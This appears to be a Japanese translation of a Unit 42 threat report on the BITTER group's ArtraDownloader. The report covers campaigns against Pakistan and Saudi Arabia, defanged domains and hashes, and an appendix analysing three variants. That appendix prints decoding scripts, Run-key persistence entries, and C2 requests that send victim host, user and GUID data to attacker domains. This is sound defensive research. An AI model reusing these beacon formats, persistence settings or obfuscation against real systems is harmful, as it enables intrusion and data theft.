This post is also available in: English (英語)
概要
少なくとも2015年以来、 おそらくは南アジアを拠点としている脅威攻撃グループBITTERは、これまで報告されていないダウンローダの亜種を使用してパキスタンと中国の組織を標的にしています。パロアルトネットワークス脅威インテリジェンス調査チームUnit 42はこのマルウェアファミリを、サンプル内で発見されたPDB文字列に基づいてArtraDownloaderと命名しました。このダウンローダーについては3つの亜種を確認しており、最初期のタイムスタンプは2015年2月のものでした。このダウンローダーが遠隔アクセス用トロイの木馬(RAT)BitterRATを頻回ダウンロードする様子を確認していますが、BitterRATはBITTER脅威攻撃グループの活動に関連しているものです。
あるある2018年9月の開始以降2019年初頭にかけてBITTERはパキスタンとサウジアラビアを標的に継続的な波状攻撃を仕掛けています。これはサウジアラビアをターゲットにしたBITTERの最初の報告例です。これらの攻撃と、観測された3つのArtraDownloaderの亜種に関する詳細は、以下のとおりです。
活動内容
2018年9月中旬から2019年1月にかけて Unit 42は、パキスタンとサウジアラビアの組織を標的としてArtraDownloaderが使われた様子を観測しました。関連して悪意のあるドキュメントが複数特定されていますが、これらはすべて、侵害された可能性の高い正規のパキスタンのWebサイトと通信し、ペイロードを取得していました。これらのウェブサイトには、パキスタン政府そのほかのパキスタン関連組織が含まれていました。
2018年9月12日以降、https://wforc[.]pk/js/ のURLでホストされている以下の名前のファイルを確認しました。
- Internet Data Traffic Report – August 2018.docx
- PAF Webmail Security Report.doc.exe
おそらくはスピアーフィッシングで、サウジアラビアのある電力会社の従業員を狙ったものと思われます。この悪意のあるファイルはC2先としてnethosttalk[.]comと通信していました。
同じ時期に、パキスタンの別のWebサイトで2つの追加ファイル(下記にリスト)がホストされている様子が観測されました。これらの実行ファイルは、以下の名前で khurram.com[.]pk/js/drvn というURL上にホストされており、C2のドメインnethosttalk[.]comと通信していました。
- Handling of Logistics.pdf[.]com
- Cyber security work shop.pdf[.]com
2018年11月6日からhttp://rmmun.org[.]pk/svch というURLが、ドメインinfo.viewworld71[.]comまたはhewle.kielsoservice[.]netと通信する2つのArtraDownloaderファイルをホストしていることが確認されました。なおRMMUN (Roots Metropolitan Model United Nations)というのは、2018年11月8日〜11日に開催された組織的イベントで、人権問題や経済発展問題などでの協力や洞察を促進することを目的としているものです。
2018年11月から2019年1月にかけ、パキスタンのエンジニアリング・油圧関連会社almasoodgroup[.]comは、2つのAtraDownloader実行可能ファイルとペイロードを配信するために使用される悪意のあるドキュメントをホストしていました。そのファイルの1つ、Port Details.docは、EQNEDTの脆弱性CVE-2017-11882を悪用するように細工されたRTF文書です。このRTF文書がペイロードをダウンロードしますが、このさいもドメインhewle.kielsoservice[.]netと通信していました。エンジニアリング会社のドメインでホストされているほかの2つのファイルは、C2ドメインxiovo426[.]netと通信していました。
1月19日にarticle_amy.docというファイルもVirusTotalにアップロードされました。このドキュメントはalmasoodgroup[.]com/js/cwqjにホストされ、C2ドメインthepandaservices.nsiagenthoster[.]netと通信していました。この例でドメインalmasoodgroup[.]comは、侵害された正規のサイトのように見えます。
2018年12月17日と18日には、一人のユーザーがcocktail and the dinner in the last week of dec.docという文書にアクセスした後、あるファイルがhttp://fst.gov[.]pk/images/winsvc(SHA256: ef0cb0a1…)からダウンロードされていました。このユーザーがどのようにしてこのドキュメントを実行するように誘導されたかは不明です。このペイロードは、CVE-2017-11882(EQNEDT)を悪用するArtraDownloaderの亜種1です。この例でこのインスタンスはhewle.kielsoservice[.]net/Engset.phpのC2ドメインを使用している様子が観測されました。
亜種の比較
合計で、ArtraDownloaderマルウェアファミリに属するおよそ80個のユニークなインスタンスが発見されています。これらのサンプルには、はっきりと異なる亜種が3種類確認されています。こうした亜種間の相違は、とくにそれが文字列の難読化やHTTPリクエストに関連したものであれば、一般に小さなものになる傾向があります。
ArtraDownloaderに属していることが確認された最も初期のサンプルのコンパイルタイムスタンプは2015年2月でした。ここから、このマルウェアファミリが作られてからおおよそどのくらい経過しているかが分かります。
今のところUnit 42は、このマルウェアファミリが、BITTERに関連するRATマルウェアファミリのインスタンスをダウンロード・実行する様子のみを確認しています。識別された各サンプルがコンパイルされた時期に関する内訳は、次のとおりです。
![図1 コンパイルタイムスタンプに基づくArtraDownloader亜種のタイムライン](https://unit42-preview.paloaltonetworks.com/wp-content/uploads/2019/11/word-image-4-1024x256.jpeg)
全体的に見て、ArtraDownloaderマルウェアファミリーは洗練されたものではなく、永続化のための単純なレジストリキーと、リモートファイルをダウンロードして実行するためのHTTPリクエストを利用します。これらのサンプル内の重要な文字列は、文字列内の各バイトから加算または減算することによって難読化されます。HTTPを介してデータを送信するときにも、この同じ難読化ルーチンが使用されます。
興味深いことに、今回の分析中、以前分析したペイロード内で見たインフラストラクチャが重複使用されている様子を確認しました。2017年11月に私たちはある悪質な文書について報告したことがありますが、この文書はドメインzmwardrobe[.]comからダウンロードされ、その後MY24と呼ばれるペイロードを実行するものでした。この活動は2017年9月から10月にかけて観測されました。2017年11月に、ArtraDownloaderが同じドメインに対してクエリを実行するのを初めて確認しました。これは2018年2月まで続きました。両方のペイロードともにInPageのエクスプロイトで観測されました。
発見された亜種とそれぞれの詳細な分析の詳細については、後述の付録を参照してください。
結論
一般的にBITTERと呼ばれている脅威攻撃グループは、本稿執筆時点まで世界中のさまざまな地域に対して継続的に活動中です。彼らはArtraDownloaderという名前のカスタマイズされたダウンローダマルウェアファミリを使用し、パキスタン、中国、サウジアラビアを標的にしていることが確認されています。このダウンローダーは、独自のカスタム難読化ルーチンを利用し、HTTP経由でBitterRATマルウェアファミリーをダウンロード・実行します。
パキスタン政府、エンジニアリング会社、電力会社などの複数の組織が、侵害の影響を受けたか、BITTERが使用するマルウェアをホストしていたことが判明しています。私たちは今後もこの攻撃グループの監視を継続します。パロアルトネットワークスのお客様は、次の方法でこの脅威から保護されています。
- すべてのマルウェアは、WildFireで悪意のあるものとして適切に分類されます
- マルウェアの通信に使用されているドメインおよびマルウェアをホストしているURLは「Malicious(悪意のある)」というフラグが付けられます
- AutoFocusをお使いのお客様は、BITTER、BITTERRAT、ArtraDownloaderタグを利用してこの脅威を継続的に追跡できます
付録
ArtraDownloaderマルウェア解析 - 亜種1
この分析の残りの部分では、次のファイルを使用します。
MD5 | 7cc0b212d1b8ceb808c250495d83bae4 |
SHA1 | d2c161ce52240b61d632607a2262890327d82502 |
SHA256 | ef0cb0a1a29bcdf2b36622f72734aec8d38326fc8f7270f78bd956e706a5fd57 |
コンパイルタイムスタンプ | 2018-12-06 11:14:45 UTC |
表1 ArtraDownloader亜種1のサンプル
実行すると、このサンプルは次のプロパティを持つ新しいWindowクラスを作成して登録します。
Window Name: seal
Class Name: SEAL
この新しく作成されたWindowクラスでWM_CREATEメッセージを受信すると、SetTimer()呼び出しを介して20秒後に新しい関数が実行されます。この関数は、実際にリモートペイロードをダウンロードして実行する役割を果たし、マルウェアの実行が終了した段階ではじめて呼び出されます。
ArtraDownloaderは、つづいて被害者のPCから以下の情報を収集します。
- コンピュータ名
- オペレーティングシステム
- ユーザー名
マルウェア実行は全過程にわたり、検出避けのためにさまざまな文字列がエンコードされています。これらの文字列をデコードするために次のPythonコードを利用できます。
1 2 3 4 5 |
def decode(data): out = "" for d in data: out += chr(ord(d)-1) return out |
例:
>> print(decode("ifxmf/ljfmtptfswjdf/ofu"))
>> hewle.kielsoservice[.]net
この後は次のフォルダパスを取得しようとします。最初に正しく識別されたフォルダが使用されます。
- TEMPLATES
- NETHOOD
- APPDATA
ctfmon.exeファイルがこのパスに追加されます。まだ存在しない場合、このパスにArtraDownloader自体もコピーされます。
その後、このマルウェアは次のフォルダパスを取得しようとします。最初に正しく識別されたフォルダが使用されます。
- NETHOOD
- TEMPLATES
- APPDATA
perfcファイルがこのパスに追加されます。このパスはマルウェアがリモートファイルをダウンロードするときの一時的な保存先として使用されます。
ダウンローダは、HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuidレジストリキーを介して被害者のマシンのGUIDを識別します。このキーが正常にクエリされた場合は、次のデータを含む文字列が整形されます。
[Computer Name]##[Username]@@[Machine GUID]
キーが正常にクエリされなかった場合は、次の文字列が生成されます。
[Computer Name]!@[Username]
この情報はこの後に続くネットワークリクエストで使用されます。永続性を維持にするため、マルウェアはホストのレジストリを変更します。次の2つのキーが設定されます。
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\JITDfbug – "cmd /c start %Qrp% && exit"
HKCU\Environment\Qrp – [path]\ctfmon.exe
ここで[path]は、ArtraDownloaderが自分自身のコピー先として選択したパスです。これら2つのレジストリキー変更で、被害者のPCは起動のたびにマルウェアを実行するようになります。
マルウェア実行フローのこの時点で、先に説明した20秒タイマーで実行される関数が最終的に実行されます。この関数は、リモートC2サーバに対し、次の例に示すPOSTリクエストを生成するところから活動を始めます。
POST /Engset.php HTTP/1.0
Host: hewle.kielsoservice[.]net
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-length: 148
BCDEF=XJO.82GO2QF2BU9&MNOPQ=Xjoepxt!8!Vmujnbuf&GHIJ=Kpti!Hsvo{xfjh&UVWXYZ=XJO.82GO2QF2BU9$$Kpti!Hsvo{xfjhAA214cf8g5.cgc9.51gb.914d.f17ceg:e4cc7&st=0
このリクエストのPOSTデータは、前述の文字列に対して行われていたエンコード方法と同じ手法でエンコードされます。このデータをデコードすると以下のようになります。
POST変数 | 説明 | デコードした場合のサンプル |
BCDEF | ホスト名 | WIN-71FN1PE1AT8 |
MNOPQ | Microsoft Windows バージョン | Windows 7 Ultimate |
GHIJ | ユーザー名 | Josh Grunzweig |
UVWXYZ | 作成しておいた文字列。これを使って被害者を一意に識別する | WIN-71FN1PE1AT8##Josh Grunzweig@@103be7f4-bfb8-40fa-803c-e06bdf9d3bb6 |
st | 以前ダウンロードしたファイルが正常に実行されたかどうかを示すブール値 | 0 |
表2 ArtraDownloader亜種1のデコードされたPOSTリクエスト
期待されるレスポンスは次のとおりです。ここで「qbzmpbe」は、ダウンロード後実行されるサンプルをエンコードした実行可能ファイル名(デコードされた後は「payload」)です。
DFCB=DWN qbzmpbe<br>
期待していたレスポンスがリモートC2サーバーから返されれば、ArtraDownloaderは続くPOSTリクエストを行います。
上記のリクエスト例では、前のリクエストのUZWXYZ POST変数で確認したものと同じ一意の識別子を使用しています。
リモートC2サーバーは、レスポンスが次の形式であることを期待しています。
exe[hex-encoded data]<
ここで[hex-encoded data]は16進エンコードされたペイロードのバイナリです。次の例で示すように、モック用のC2サーバーからレスポンスはrawのままperfcファイルに書き込まれます。
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 28
Server: Werkzeug/0.12.2 Python/2.7.15
Date: Tue, 08 Jan 2019 18:46:23 GMT
exe68656c6c6f20776f726c64<
このファイルが書き込まれた後、マルウェアは16進エンコードされたデータをデコードし、perfcと同じパスにある以前に定義されたファイル名にこれを書き込みます。先ほどの例では、ペイロードはファイル名として提供されていたので、この特定のペイロードはpayload.exeに書き込まれます。モック用サーバからの例を使用すると、このファイルには「hello world」という文字列が含まれることになります。
この段階で、マルウェアはShellExecuteA()呼び出しを介して新しいプロセスでこの新しく作成された実行ファイルを開きます。これが成功すると、ArtraDownloaderは同じPOSTパラメータで/Engset.phpへのその後のHTTPリクエストを行います。ただし、この要求では、POST変数stが1に設定されます。
ArtraDownloaderマルウェア解析 - 亜種2
この分析の残りの部分では、次のファイルを使用します。
MD5 | 8d42c01180be7588a2a68ad96dd0cf85 |
SHA1 | 89a7861acb7983ad712ae9206131c96454a1b3d8 |
SHA256 | 0b2a794bac4bf650b6ba537137504162520b67266449be979679afbb14e8e5c0 |
コンパイルタイムスタンプ | 2019-01-07 07:13:47 UTC |
PDB文字列 | c:\Users\Asterix\Documents\Visual Studio 2008\Projects\28NovDwn\Release\28NovDwn.pdb |
表3 ArtraDownloader亜種2のサンプル
実行すると、このサンプルは次のプロパティを持つ新しいWindowクラスを作成して登録します。
Window Name: 28NovDwn
Class Name: MY28NOVDWN
このマルウェアは、シンプルなルーチンで一連の文字列を解読します。この一連の文字列をデコードするのに、次のPythonコードを利用できます。
1 2 3 4 5 |
def decode(data): out = "" for d in data: out += chr((ord(d)-3)&0xFF) return out |
>> print(decode("iudphzrunvxssruw1qhw"))
>> frameworksupport[.]net
この後はC:\intel\ディレクトリを作成しようとしますが、最終的にはここにさまざまなファイルが保存されることになります。被害者のPC上での永続性を維持するため、まだ存在しない場合は次のレジストリを作成します。
HKCU\Environment\AppId – c:\intel\msdtcv.exe
その後、ArtraDownloaderは次のレジストリキーを設定して、再起動後にマルウェアが実行されるようにします。
HKCU\Software\Microsoft\Windows\CurrentVersion\Run – cmd /c start %AppId% && exit
さらに、別のスレッドで、このマルウェアは新しいプロセスを生成し、自分自身をC:\intel\msdtcv.exeというパスにコピーします。
オペレーティングシステム、マシンのGUID、ホスト名に関する情報を含む、被害者のPCに関するさまざまな情報が収集されます。この情報は、最終的には被害者特定と感染ホストに関する一般情報提供の両方に使用されます。
次の例のようなGETリクエストがリモートC2サーバーに対して行われます。
上記のリクエストの例では、GET変数TIeが提供するデータは「*」で区切られ、残りのデータは各バイトに1を加えることによってエンコードされています。この文字列をデコードすると、次のようになります。
上記のデータには、コンピュータのGUID、被害者のホスト名、およびオペレーティングシステムに関する情報が含まれています。次のC2レスポンスが示すように、この特定のGETリクエストではAXE: 識別子を探しています。
このレスポンスでは「#」の間のデータがパースされ、その後に続くリクエストが行われます。この情報がレスポンスに含まれている場合、マルウェアはCSIDL_HISTORYフォルダにクエリを出します。CSIDL_HISTORYフォルダは、インターネット履歴項目の共通リポジトリとしての役割があるファイルシステムディレクトリです。このパスには文字列ZXが追加され、その後にHTTPレスポンスで使用されるファイル名が続きます。この例ではwscsplです。この例では次のようになります。
この新しく生成されたファイルパスに提供されるデータに対するHTTPリクエストは次のとおりです。
HTTPレスポンス全体が前述のファイルパスに書き込まれます。ArtraDownloaderは、次にこのHTTPレスポンス全体のPOSTデータをパースし、オフセット0x1からZXの文字を含まないファイルパスのすべてを.exe拡張子をつけて抽出します。前の例を使用すると、このファイルは次のようになります。
パスにZXを含む以前書き込まれたファイルは削除されます。最後に、このファイルが新しいプロセス内で実行されます。この実行ファイルがエラーなく生成されると、マルウェアは次の例のような最終HTTPリクエストを送信します。
ArtraDownloaderマルウェア解析 - 亜種3
この分析の残りの部分では、次のファイルを使用します。
MD5 | a1bdb1889d960e424920e57366662a59 |
SHA1 | 177837d0fa5bfd274abe79d80a01cfe2374b4cd9 |
SHA256 | f0ef4242cc6b8fa3728b61d2ce86ea934bd59f550de9167afbca0b0aaa3b2c22 |
コンパイルタイムスタンプ | 2018-07-30 09:18:37 UTC |
PDB文字列 | d:\C++\new_downloader_aroundtheworld123\Release\audiodq.pdb |
表4 ArtraDownloader亜種3のサンプル
実行されると、マルウェアはシンプルなデコードルーチンを介して一連の文字列をデコードすることから始めます。この一連の文字列をデコードするのに、次のPythonコードを利用できます。
1 2 3 4 5 |
def decode(data): out = "" for d in data: out += chr((ord(d)-13)&0xFF) return out |
>> print(decode(binascii.unhexlify("6E7F7C827B71817572847C7F79713E3F403B7B7281")))
>> aroundtheworld123[.]net
このマルウェアはまずAVGのセキュリティ製品が現在システムで実行されているかどうかをチェックしていますが、ArtraDownloaderがこの情報を使用している様子は確認できません。マルウェア作成者が実行したテストのゴミが意図せずサンプル内に残っていた可能性があります。
システムに関するさまざまな情報がマルウェアによって収集され、その後のHTTPリクエストで使用されます。この情報を収集した後、次のようなHTTP GETリクエストが実行されます。
GET ///healthne/accept.php?a=WIN-71FN1PE1AT8&b=WIN-71FN1PE1AT8&c=Windows%207%20Ultimate&d=Josh GrunzweigJosh Grunzweig103be7f4-bfb8-40fa-803c-e06bdf9d3bb6365536040965860&e= HTTP/1.1
Host: aroundtheworld123[.]net
このマルウェアファミリでこれまで見てきたほかの亜種とは違って、この特定の亜種はネットワークを介して送信するデータを難読化しません。このリクエストでは、次のGETパラメータが使用されます。
GET変数 | 説明 |
a | ホスト名 |
b | コンピュータ名 |
c | オペレーティングシステムのバージョン |
d | 被害者のユーザー名、マシンのGUID、GetSystemInfo()呼び出しを介してクエリされたさまざまな情報の2つのインスタンスを含む一意の文字列 |
e | この特定のサンプル内では使用されていないように見える変数 |
表5 ArtraDownloader亜種3で観測されたGETパラメータ
このリクエストに対するレスポンスの例は以下の通りです。
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 29
Date: Mon, 05 Nov 2018 19:22:56 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: Keep-Alive
Yes file58368[regdl]35No file
このリクエストに対するレスポンスがパースされます。具体的には文字列Yesファイルを識別しようとしています。この文字列が存在する場合は、[と]の間のデータがパースされます。次に示すとおり、このデータは続くHTTPリクエストで使用され、リモートサーバーからファイルをダウンロードします。
GET /healthne/healthne/regdl HTTP/1.0
Host: aroundtheworld123[.]net
HTTP/1.0 200 OK
Last-Modified: Tue, 02 Oct 2018 04:38:28 GMT
Content-Type: application/octet-stream
Content-Length: 58368
Date: Mon, 05 Nov 2018 19:23:01 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: close
MZ………………….[TRUNCATED]
この実行可能ファイルは、マルウェアと同じディレクトリに書き込まれ、提供されたものと同じ名前を使用します。たとえばこのマルウェアが最初にC:\から実行された場合、ダウンロードされたファイルはC:\regdl.exeに書き込まれます。最後に、この実行ファイルが新しいプロセス内で実行されます。
IOC
関連するすべてのIOCを含むCSVファイルについては、次のリンクを参照してください。
https://github.com/pan-unit42/iocs/tree/master/bitter